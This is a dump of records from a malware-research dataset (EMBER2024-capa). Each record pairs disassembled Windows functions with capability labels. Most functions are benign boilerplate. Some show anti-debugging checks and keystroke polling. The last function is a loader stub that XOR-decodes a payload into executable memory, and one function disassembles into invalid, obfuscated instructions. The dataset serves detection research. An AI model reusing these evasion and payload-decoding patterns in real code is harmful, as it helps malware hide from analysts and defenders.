joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4408c6
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags

Disassembly:
mov eax, 0x464d96
call fcn.0045f4a0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
lea ecx, [esi + 0xc]
mov dword [ebp - 4], ebx
call fcn.00402410
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.00402410
mov dword [esi + 0x28], ebx
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
mov byte [esi + 0x24], bl
mov byte [esi + 0x25], bl
mov dword [esi + 0x2c], ebx
call fcn.00402410
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x441b69
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Get kernel32 base address

Disassembly:
mov eax, 0x464fe0
call fcn.0045f4a0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], ebx
mov dword [esi + 0x58], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x64], ebx
mov dword [esi + 0x68], ebx
mov dword [esi + 0x6c], ebx
lea ecx, [esi + 0x70]
mov byte [ebp - 4], 2
call fcn.00402410
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 3
call fcn.00402410
lea eax, [esi + 0x8c]
push 0x30
push ebx
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
lea eax, [esi + 0xd8]
push eax
call sub.MSVCRT.dll_memset
or dword [esi + 0x18], 0xffffffff
add esp, 0xc
mov edi, dword [sym.imp.USER32.dll_RegisterClipboardFormatW]
mov dword [esi], 0x46cc48
push 1
mov word [esi + 0xc], 0xf
pop eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
push dword [0x46ca90]
call edi
mov dword [esi + 0x20], eax
push dword [0x46ca94]
call edi
mov dword [esi + 0x24], eax
push dword [0x46ca98]
call edi
push str.Performed_DropEffect
mov dword [esi + 0x28], eax
call edi
push str.Logical_Performed_DropEffect
mov dword [esi + 0x2c], eax
call edi
push str.DisableDragText
mov dword [esi + 0x30], eax
call edi
push str.IsShowingLayered
mov dword [esi + 0x34], eax
call edi
push str.IsShowingText
mov dword [esi + 0x38], eax
call edi
push str.DropDescription
mov dword [esi + 0x3c], eax
call edi
push str.TargetCLSID
mov dword [esi + 0x40], eax
call edi
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ebx
mov byte [esi + 8], bl
mov byte [esi + 9], bl
mov byte [esi + 0xa], bl
mov byte [esi + 0xb], bl
mov byte [esi + 0x50], bl
mov byte [esi + 0x51], bl
mov byte [esi + 0x52], bl
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x53], bl
mov byte [esi + 0x54], bl
mov byte [esi + 0x55], bl
mov dword [esi + 0x88], ebx
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x444281
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
aad 0xc6
inc ebp
salc
aam 0x88
pop ebp
xlatb
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00443e6d
push eax
push esi
push dword [ebp + 8]
call fcn.00443e22
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00443e5d
xlatb
fsubr qword [ebp - 0x63]
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00443e5d
jecxz 0x444313
arpl si, ax
inc ebp
xchg dword [edx - 0x3a], edi
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
and eax, 0x7c858d90
invalid
Function at 0x446db8
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x465928
call fcn.0045f4a0
sub esp, 0x60
push ebx
push esi
push edi
mov edi, ecx
push edx
lea ecx, [ebp - 0x18]
call fcn.00402547
xor ebx, ebx
push 0x2e
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call fcn.00402923
lea ecx, [ebp - 0x18]
mov esi, eax
call fcn.0040294e
cmp esi, ebx
jl 0x446df4
cmp esi, eax
jge 0x446dfc
lea ecx, [ebp - 0x18]
call fcn.00402781
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x30]
push eax
mov dword [ebp - 0x6c], 0x3c
mov dword [ebp - 0x68], 0x140
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
call fcn.00402547
push edi
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.00402547
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
mov dword [ebp - 0x50], 1
and eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x34]
push dword [ebp - 0x24]
mov esi, dword [ebp - 0x4c]
mov dword [eax], ecx
call fcn.00402de4
push dword [ebp - 0x30]
mov byte [ebp - 4], bl
call fcn.00402de4
pop ecx
cmp esi, 0x20
pop ecx
ja 0x446ead
cmp esi, 0x1f
jne 0x446ea8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040485a
push 0x10
push 0x468ee8
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [ebp - 0x30]
call fcn.00402de4
pop ecx
mov ebx, 0x80004005
push dword [ebp - 0x18]
call fcn.00402de4
pop ecx
pop edi
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x448f98
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x465dbc
call fcn.0045f4a0
sub esp, 0x248
push edi
mov dword [ebp - 0x10], ecx
call fcn.0040b59c
and dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 0x28], edi
je 0x44905d
lea ecx, [ebp - 0x1c]
call fcn.00402410
push 0x22c
lea eax, [ebp - 0x254]
push 0
push eax
mov byte [ebp - 4], 1
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x254]
mov dword [ebp - 0x254], 0x22c
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x44904d
mov eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x230]
push eax
call fcn.004025b3
mov ecx, dword [ebp - 0x10]
call fcn.004216c9
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x24]
push eax
call fcn.00449221
lea eax, [ebp - 0x254]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
jmp 0x449005
push dword [ebp - 0x1c]
call fcn.00402de4
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
leave
ret
Function at 0x44dc99
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x4663f0
call fcn.0045f4a0
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov esi, ecx
mov eax, dword [edi]
cmp eax, ebx
je 0x44dcbe
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi], ebx
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x44dcd2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov dword [ebp - 0x1c], ebx
mov byte [ebp + 0xc], al
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
mov dword [ebp - 4], ebx
call fcn.0044a687
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
call fcn.0043f5a5
mov ecx, esi
mov dword [ebp - 0x10], eax
call fcn.0043f24e
test al, al
jne 0x44dd43
push edi
lea eax, [ebp - 0x1c]
push dword [ebp - 0x10]
mov ecx, esi
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0044da1f
cmp byte [0x47e49c], bl
je 0x44dd43
push dword [ebp + 0x10]
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0044d902
lea ecx, [ebp - 0x40]
call fcn.0044de7c
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0044dae1
mov ecx, esi
mov byte [ebp - 0x3f], al
call fcn.0043f27a
mov ecx, esi
mov byte [ebp - 0x3e], al
call fcn.00431697
cmp dword [ebp - 0x10], 0xffffffff
mov byte [ebp - 0x3d], al
mov al, byte [ebp + 0x14]
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x40], al
sete al
mov byte [ebp - 0x3c], al
mov eax, dword [ebp - 0x18]
cmp eax, 1
mov dword [ebp - 0x38], eax
jne 0x44ddb5
mov eax, dword [ebp - 0x1c]
mov ecx, esi
push dword [eax]
lea eax, [ebp - 0x28]
push eax
call fcn.0044af0a
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.00402617
push dword [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00402de4
pop ecx
mov eax, dword [esi + 0x100]
cmp eax, ebx
je 0x44dded
cmp dword [ebp - 0x18], 1
ja 0x44de03
or ecx, 0xffffffff
cmp dword [ebp - 0x18], 1
jne 0x44ddd3
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
lea esi, [ebp + 0x14]
mov dword [ebp + 0x14], ebx
mov edx, dword [eax]
push esi
push ecx
push eax
call dword [edx + 0x14]
test eax, eax
jne 0x44de03
cmp dword [ebp + 0x14], ebx
setne al
jmp 0x44de00
cmp dword [ebp - 0x38], ebx
mov ecx, esi
jne 0x44ddfb
call fcn.0043f22d
jmp 0x44de00
call fcn.0044de3b
mov byte [ebp - 0x3b], al
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push eax
lea ecx, [ebp - 0x40]
push dword [ebp + 8]
call fcn.0043cfc2
push dword [ebp - 0x34]
call fcn.00402de4
push dword [ebp - 0x1c]
call fcn.00402de4
pop ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
Function at 0x450a33
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x4668e3
call fcn.0045f4a0
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi], 0x46b2b8
mov dword [esi + 8], edi
lea ecx, [esi + 0x10]
mov dword [ebp - 4], edi
mov dword [esi + 0xc], edi
call fcn.00402410
lea ecx, [esi + 0x1c]
mov byte [ebp - 4], 1
call fcn.00402410
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi], 0x46d220
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x4521b6
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
mov eax, 0x466be4
call fcn.0045f4a0
sub esp, 0x18
push esi
mov esi, ecx
lea ecx, [ebp - 0x18]
lea edx, [esi + 0x3c]
call fcn.0045213e
and dword [ebp - 4], 0
push eax
lea ecx, [esi + 0xc]
call fcn.00402617
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call fcn.00402de4
pop ecx
lea edx, [esi + 0x40]
lea ecx, [ebp - 0x18]
call fcn.0045218e
push eax
lea ecx, [esi + 0x18]
mov dword [ebp - 4], 1
call fcn.00402617
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call fcn.00402de4
pop ecx
lea edx, [esi + 0x44]
lea ecx, [ebp - 0x24]
call fcn.00452166
push eax
lea ecx, [esi + 0x24]
mov dword [ebp - 4], 2
call fcn.00402617
push dword [ebp - 0x24]
or dword [ebp - 4], 0xffffffff
call fcn.00402de4
pop ecx
push dword [0x46d524]
lea ecx, [esi + 0x30]
call fcn.00402715
push 0x11
pop ecx
call fcn.00452f77
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x48], eax
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x4521c3
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
mov eax, 0x466be4
call fcn.0045f4a0
sub esp, 0x18
push esi
mov esi, ecx
lea ecx, [ebp - 0x18]
lea edx, [esi + 0x3c]
call fcn.0045213e
and dword [ebp - 4], 0
push eax
lea ecx, [esi + 0xc]
call fcn.00402617
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call fcn.00402de4
pop ecx
lea edx, [esi + 0x40]
lea ecx, [ebp - 0x18]
call fcn.0045218e
push eax
lea ecx, [esi + 0x18]
mov dword [ebp - 4], 1
call fcn.00402617
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call fcn.00402de4
pop ecx
lea edx, [esi + 0x44]
lea ecx, [ebp - 0x24]
call fcn.00452166
push eax
lea ecx, [esi + 0x24]
mov dword [ebp - 4], 2
call fcn.00402617
push dword [ebp - 0x24]
or dword [ebp - 4], 0xffffffff
call fcn.00402de4
pop ecx
push dword [0x46d524]
lea ecx, [esi + 0x30]
call fcn.00402715
push 0x11
pop ecx
call fcn.00452f77
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x48], eax
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x452f77
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
cmp dword [ebp - 4], 0
je 0x452fd6
push edi
and dword [ebp - 0x2b4], 0
push 0x4008
lea eax, [ebp - 0x2b8]
push 0x2b4
push eax
push 0x80
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov edi, eax
push dword [ebp - 4]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
test edi, edi
pop edi
je 0x452fd6
mov eax, dword [ebp - 0x2b4]
leave
ret
xor eax, eax
leave
ret

Function at 0x45300b
Capabilities:
Get file system object information

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push edx
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
ret 0xc

Function at 0x453213
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x2b4
lea eax, [esp]
neg cl
sbb ecx, ecx
and cl, 1
add ecx, 0x100
or cx, 0x4010
push ecx
push 0x2b4
push eax
push 0x90
push 0x468710
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
add esp, 0x2b4
ret

Function at 0x456653
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get ntdll base address

Disassembly:
mov eax, 0x467184
call fcn.0045f4a0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
or eax, 0xffffffff
mov dword [ebp - 0x10], esi
mov dword [esi + 8], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x18], eax
mov dword [esi + 0x20], ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x30], eax
lea ecx, [esi + 0x38]
mov byte [esi], bl
mov byte [esi + 1], bl
mov byte [esi + 2], 1
mov byte [esi + 3], bl
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], ebx
mov dword [esi + 0x1c], eax
mov dword [esi + 0x24], ebx
mov dword [esi + 0x2c], eax
mov dword [esi + 0x34], eax
call fcn.00402410
lea ecx, [esi + 0x44]
mov dword [ebp - 4], ebx
call fcn.00402410
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 1
call fcn.00402410
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], ebx
lea ecx, [esi + 0x68]
mov byte [ebp - 4], 3
call fcn.004402c3
lea ecx, [esi + 0x98]
call fcn.0045ef60
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4584b5
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x4674e4
call fcn.0045f4a0
sub esp, 0x44
push ebx
push esi
push edi
mov esi, ecx
push 0
call fcn.00456fbb
push 1
mov ecx, esi
call fcn.00457a0c
mov edx, 0x198
lea ecx, [ebp - 0x20]
call fcn.0043b935
mov eax, dword [eax]
lea edi, [esi + 4]
push eax
push 2
push dword [edi]
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push dword [ebp - 0x20]
call fcn.00402de4
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
pop ecx
push 2
push dword [edi]
call ebx
push 1
push 1
push 0xf4
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x1bc
push dword [edi]
call ebx
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1be
push dword [edi]
call ebx
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x34]
lea ecx, [ebp - 0x50]
call fcn.0045864b
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], ebx
call fcn.0045864b
lea eax, [esi + 0x200]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0x1c8], ebx
lea ebx, [esi + 0x1d0]
push ebx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
setne byte [ebp - 0xd]
call fcn.0045867c
add ebx, 0x18
lea ecx, [ebp - 0x38]
push ebx
call fcn.0045867c
push dword [ebp - 0x14]
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
cmp dword [ebp - 0x40], ebx
je 0x4585cf
cmp dword [ebp - 0x4c], ebx
mov byte [esi + 0x21b], 1
jne 0x4585c5
push 0x46aecc
lea ecx, [ebp - 0x50]
call fcn.00402715
push 0x10
push dword [ebp - 0x50]
push dword [ebp - 0x44]
jmp 0x4585fa
cmp byte [ebp - 0xd], 0
jne 0x458610
cmp dword [ebp - 0x28], ebx
mov byte [esi + 0x21b], 1
je 0x458629
cmp dword [ebp - 0x34], ebx
jne 0x4585f3
push 0x46aecc
lea ecx, [ebp - 0x38]
call fcn.00402715
push ebx
push dword [ebp - 0x38]
push dword [ebp - 0x2c]
mov eax, esi
neg eax
sbb eax, eax
and eax, edi
push dword [eax]
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp byte [ebp - 0xd], 0
je 0x458629
cmp byte [esi + 0x156], 0
jne 0x458629
mov ecx, esi
mov byte [esi + 0x155], 1
call fcn.00458a81
jmp 0x458632
push ebx
push dword [edi]
call dword [sym.imp.USER32.dll_EndDialog]
lea ecx, [ebp - 0x50]
call fcn.00440361
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4596ed
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x467630
call fcn.0045f4a0
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov ebx, ecx
cmp dword [esi + 4], edi
jne 0x459711
or eax, 0xffffffff
jmp 0x4597c5
cmp dword [ebp + 0xc], 0xffffffff
jne 0x45971a
mov dword [ebp + 0xc], edi
lea ecx, [ebp - 0x1c]
call fcn.00402410
mov eax, pe_nt_image_headers32
mov dword [ebp - 4], edi
cmp dword [ebp - 0x14], eax
jae 0x459738
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402124
mov eax, dword [esi]
mov esi, 0x10e
push esi
push dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov word [ecx + 0x21c], di
cmp word [ecx], di
je 0x459760
inc edx
inc ecx
inc ecx
jmp 0x459756
cmp eax, edi
mov dword [ebp - 0x18], edx
je 0x45976b
cmp eax, esi
jb 0x459776
push dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.00402617
lea eax, [ebp - 0x10]
push 1
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x1c]
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
cmp eax, 1
jne 0x4597b7
cmp dword [ebp - 0x10], edi
je 0x4597b7
push dword [ebp - 0x10]
push 0xffffffffffffffff
push dword [ebx + 0x24]
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_DestroyIcon]
mov eax, dword [ebx + 0x20]
mov esi, eax
lea ecx, [eax + 1]
mov dword [ebx + 0x20], ecx
jmp 0x4597ba
or esi, 0xffffffff
push dword [ebp - 0x1c]
call fcn.00402de4
pop ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x45a18d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
mov edi, ecx
push 0x11
call esi
mov bx, ax
push 0x12
shr ebx, 0xf
and bl, 1
call esi
shr eax, 0xf
test al, 1
jne 0x45a22a
mov eax, dword [ebp + 8]
test bl, bl
mov cx, word [eax + 0xc]
je 0x45a205
cmp cx, 0x41
je 0x45a20b
movzx eax, cx
cmp eax, 0x20
je 0x45a1ec
cmp eax, 0x6a
jle 0x45a22a
cmp eax, 0x6d
jle 0x45a1ec
cmp eax, 0x6f
je 0x45a1ec
cmp eax, 0xbb
je 0x45a1ec
cmp eax, 0xbd
jne 0x45a22a
test bl, bl
jne 0x45a22a
xor eax, eax
cmp cx, 0x20
setne al
push eax
mov ecx, edi
call fcn.0045a0e3
mov al, 1
jmp 0x45a22c
cmp cx, 0x6a
jne 0x45a1c7
push 2
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 0xffffffffffffffff
push 0x102b
push dword [edi + 0x28]
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x45a201
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x45c158
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x46795a
call fcn.0045f4a0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.00402410
and dword [ebp - 4], 0
lea ecx, [esi + 0xc]
call fcn.00402410
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
call fcn.00402410
lea ecx, [esi + 0x3c]
mov byte [ebp - 4], 2
call fcn.00402410
and byte [esi + 0x4c], 0
and byte [esi + 0x4d], 0
mov ecx, dword [ebp - 0xc]
and byte [esi + 0x4e], 0
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x45cbec
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x467a32
call fcn.0045f4a0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00402547
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.00402547
mov eax, dword [edi + 0x18]
lea ecx, [esi + 0x30]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
lea eax, [edi + 0x30]
push eax
mov byte [ebp - 4], 1
call fcn.00402547
lea eax, [edi + 0x3c]
lea ecx, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call fcn.00402547
mov eax, dword [edi + 0x48]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x48], eax
mov al, byte [edi + 0x4c]
mov byte [esi + 0x4c], al
mov al, byte [edi + 0x4d]
mov byte [esi + 0x4d], al
mov al, byte [edi + 0x4e]
mov byte [esi + 0x4e], al
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x45eec0
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x45eee8
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x45eef7
mov eax, 1
ret 4

Function at 0x45efd4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45f02a
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x46dfc0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x45f01d
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x45f02c
xor eax, eax
pop esi
leave
ret 4
Function at 0x10013a24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10013a33
pop dword [ebp - 0xc]
mov eax, 0xa422e5ea
sub eax, 0x9421abb7
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x53a100e2
add dword [ebp - 0x1c], 0xfab14469
mov dword [ebp - 0x18], 0x66e32010
add dword [ebp - 0x18], 0xcb502c35
mov dword [ebp - 0x14], 0x27ac0254
add dword [ebp - 0x14], 0x24a041da
mov dword [ebp - 0x10], 0xf387e127
sub dword [ebp - 0x10], 0xf387e127
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xaff17edb
add eax, 0x601041a5
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xbff85d4b
sub dword [ebp - 0x1c], 0x4b85f3f5
mov dword [ebp - 0x18], 0x619d5bb0
add dword [ebp - 0x18], 0xdfcf05c5
mov dword [ebp - 0x14], 0xdc0fc1ed
sub dword [ebp - 0x14], 0x78a05581
mov dword [ebp - 0x10], 0x7980bfc8
sub dword [ebp - 0x10], 0x7980bfc8
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xac5e5b6
add eax, 0x53bda4a
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36821
push 0
call eax
mov ecx, 0xdc989e06
sub ecx, 0xdc9859a3
xor ebx, ebx
add ebx, eax
mov esi, 0xf2988ae1
sub esi, 0xe29622e1
add esi, dword [ebp - 0xc]
mov edi, 0xa1232176
add edi, 0x82102ff5
sub dword [ebp - 8], edi
mov edx, dword [esi]
mov dword [ebp - 4], 0xdc25e89f
xor edx, edi
mov dword [ebx], edx
add ebx, 0xe2a9e3b0
sub ebx, 0xe2a9e3ac
add esi, 4
loop 0x10013b57
add eax, 0x5d75f636
add eax, 0xa28b0e29
xor ebx, ebx
add ebx, eax
add eax, 0x64039c9e
